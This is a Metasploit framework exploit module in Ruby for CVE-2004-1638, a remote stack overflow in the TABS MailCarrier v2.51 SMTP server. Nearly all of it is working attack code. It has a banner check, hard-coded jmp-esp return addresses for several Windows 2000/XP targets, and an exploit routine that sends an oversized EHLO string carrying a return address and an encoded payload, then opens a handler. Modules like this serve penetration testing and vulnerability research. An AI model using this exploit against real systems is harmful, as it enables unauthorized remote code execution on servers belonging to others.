TABS MailCarrier v2.51 SMTP EHLO Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/   
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})   
super(update_info(info,   
'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',  
'Description' => %q{  
This module exploits the MailCarrier v2.51 suite SMTP service.  
The stack is overwritten when sending an overly long EHLO command.  
},  
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],  
'Arch' => [ ARCH_X86 ],   
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1638' ],  
[ 'OSVDB', '11174' ],  
[ 'BID', '11535' ],  
[ 'URL', 'http://milw0rm.com/exploits/598' ],  
],   
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{   
'Space' => 300,  
'BadChars' => "\x00\x0a\x0d:",  
'StackAdjustment' => -3500,  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.  
[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp1  
[ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en  
],  
'DisclosureDate' => 'Oct 26 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(25),  
Opt::LHOST(), # Required for stack offset  
], self.class)  
end  
  
def check   
connect  
banner = sock.get_once(-1,3)  
disconnect  
  
if (banner =~ /ESMTP TABS Mail Server for Windows NT/)  
return Exploit::CheckCode::Appears   
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)  
sploit << [target['Ret']].pack('V') + payload.encoded  
  
sock.put(sploit + "\r\n")  
  
handler  
disconnect  
end  
  
end  
`